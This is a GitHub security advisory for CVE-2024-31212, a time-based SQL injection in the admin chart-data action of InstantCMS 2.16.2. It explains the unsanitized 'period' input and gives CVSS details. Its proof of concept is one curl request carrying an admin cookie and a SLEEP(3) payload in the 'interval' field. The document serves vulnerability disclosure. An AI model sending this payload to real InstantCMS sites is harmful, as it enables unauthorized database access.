Skip to content

SQL injection in index_chart_data action

Moderate
fuzegit published GHSA-qx95-w566-73fw Apr 3, 2024

Package

No package listed

Affected versions

2.16.2

Patched versions

None

Description

Summary

An SQL injection vulnerability affects instantcms v2.16.2 in which an attacker with administrative
privileges can cause the application to execute unauthorized SQL code.

Details

The vulnerability exists in index_chart_data action, which receives an input from user and passes it unsanitized to the core model filterFunc function that further embeds this data in an SQL statement. This allows attackers to inject unwanted SQL code into the statement.

period should be escaped before inserting it in the query.

PoC

  1. Login to instantcms using an account with administrative privileges.
  2. Copy the session cookie.
  3. Insert the cookie in the format NAME=VALUE in the following request and start the request.
$ curl -X POST http://instantcms.seclab/admin/index_chart_data -b "COOKIE;" -H "X-Requested-With: XMLHttpRequest" -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" --data "id=content&section=news&interval=SLEEP(3):day"
  1. The server will sleep for 3 seconds before returning the response.

PoC.png

Impact

SQL injection vulnerabilities have high severity as they expose the database to attackers, and if the database user have write permissions set, such injections would be critical as the attackers can change any data in the database which will compromising the integrity of this database.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L

CVE ID

CVE-2024-31212

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Credits